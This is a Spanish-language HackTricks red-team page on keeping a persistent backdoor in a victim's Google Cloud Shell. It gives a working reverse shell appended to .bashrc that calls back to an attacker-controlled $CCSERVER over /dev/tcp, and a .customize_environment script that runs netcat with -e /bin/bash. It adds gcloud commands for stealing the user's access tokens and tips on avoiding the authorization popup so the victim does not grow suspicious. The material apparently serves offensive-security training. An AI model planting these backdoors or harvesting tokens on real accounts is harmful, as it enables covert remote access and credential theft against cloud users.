GCP - Persistencia de Cloud Shell

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Cloud Shell

Para más información revisa:

GCP - Cloud Shell Enum

Persistent Backdoor

Google Cloud Shell te proporciona acceso por línea de comandos a tus recursos en la nube directamente desde el navegador sin ningún coste asociado.

Puedes acceder al Cloud Shell de Google desde la web console o ejecutando gcloud cloud-shell ssh.

Esta consola tiene algunas capacidades interesantes para un atacante:

  1. Any Google user with access to Google Cloud tiene acceso a una instancia de Cloud Shell totalmente autenticada (Service Accounts pueden, incluso siendo Owners del org).
  2. Dicha instancia mantendrá su home directory durante al menos 120 días si no hay actividad.
  3. No existen capacidades para que una organisation monitorice la actividad de esa instancia.

Esto básicamente significa que un atacante puede colocar un backdoor en el home directory del usuario y mientras el usuario se conecte al GC Shell al menos cada 120 days, el backdoor sobrevivirá y el atacante obtendrá un shell cada vez que se ejecute simplemente haciendo:

Add reverse shell to .bashrc ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ```

Hay otro archivo en la carpeta home llamado .customize_environment que, si existe, se va a ejecutar cada vez que el usuario acceda al cloud shell (como en la técnica anterior). Simplemente inserta el backdoor anterior o uno como el siguiente para mantener la persistencia mientras el usuario use “frecuentemente” el cloud shell:

Crear backdoor .customize_environment ```bash #!/bin/sh apt-get install netcat -y nc 443 -e /bin/bash ```

Warning

Es importante destacar que la primera vez que se realiza una acción que requiere autenticación, aparece una ventana emergente de autorización en el navegador del usuario. Esta ventana debe ser aceptada antes de que el comando pueda ejecutarse. Si aparece una ventana emergente inesperada, podría generar sospechas y potencialmente comprometer el método de persistencia que se está utilizando.

Esta es la ventana emergente al ejecutar gcloud projects list desde el cloud shell (como atacante) vista en la sesión del navegador del usuario:

Sin embargo, si el usuario ha utilizado activamente el cloudshell, la ventana emergente no aparecerá y puedes obtener tokens del usuario con:

Obtener tokens de acceso desde Cloud Shell ```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```

Cómo se establece la conexión SSH

Básicamente, se utilizan estas 3 llamadas API:

Pero puedes encontrar más información en https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Referencias

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks